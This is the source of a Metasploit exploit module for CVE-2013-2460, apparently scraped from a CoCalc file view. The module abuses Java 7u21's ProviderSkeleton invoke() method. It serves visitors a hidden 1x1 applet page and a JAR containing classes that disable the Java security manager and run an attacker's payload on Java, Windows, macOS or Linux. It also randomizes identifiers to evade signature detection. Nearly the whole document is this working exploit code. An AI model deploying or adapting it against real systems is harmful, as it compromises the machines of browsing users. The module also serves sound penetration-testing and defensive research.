Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ :javascript => false })1314EXPLOIT_STRING = "Exploit"1516def initialize( info = {} )1718super( update_info( info,19'Name' => 'Java Applet ProviderSkeleton Insecure Invoke Method',20'Description' => %q{21This module abuses the insecure invoke() method of the ProviderSkeleton class that22allows to call arbitrary static methods with user supplied arguments. The vulnerability23affects Java version 7u21 and earlier.24},25'License' => MSF_LICENSE,26'Author' =>27[28'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC29'Matthias Kaiser' # Metasploit module30],31'References' =>32[33[ 'CVE', '2013-2460' ],34[ 'OSVDB', '94346' ],35[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],36[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],37[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],38[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]39],40'Platform' => %w{ java linux osx win },41'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },42'Targets' =>43[44[ 'Generic (Java Payload)',45{46'Platform' => ['java'],47'Arch' => ARCH_JAVA,48}49],50[ 'Windows x86 (Native Payload)',51{52'Platform' => 'win',53'Arch' => ARCH_X86,54}55],56[ 'Mac OS X x86 (Native Payload)',57{58'Platform' => 'osx',59'Arch' => ARCH_X86,60}61],62[ 'Linux x86 (Native Payload)',63{64'Platform' => 'linux',65'Arch' => ARCH_X86,66}67],68],69'DefaultTarget' => 0,70'DisclosureDate' => '2013-06-18'71))72end7374def randomize_identifier_in_jar(jar, identifier)75identifier_str = rand_text_alpha(identifier.length)76jar.entries.each { |entry|77entry.name.gsub!(identifier, identifier_str)78entry.data = entry.data.gsub(identifier, identifier_str)79}80end818283def setup84path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "Exploit.class")85@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }86path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "ExpProvider.class")87@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }88path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")89@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }9091@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)92@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)9394super95end9697def on_request_uri(cli, request)98print_status("handling request for #{request.uri}")99100case request.uri101when /\.jar$/i102jar = payload.encoded_jar103jar.add_file("#{@exploit_class_name}.class", @exploit_class)104jar.add_file("ExpProvider.class", @provider_class)105jar.add_file("DisableSecurityManagerAction.class", @action_class)106randomize_identifier_in_jar(jar, "metasploit")107randomize_identifier_in_jar(jar, "payload")108jar.build_manifest109110send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })111when /\/$/112payload = regenerate_payload(cli)113if not payload114print_error("Failed to generate the payload.")115send_not_found(cli)116return117end118send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })119else120send_redirect(cli, get_resource() + '/', '')121end122123end124125def generate_html126html = %Q|127<html>128<body>129<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>130</body>131</html>132|133return html134end135end136137138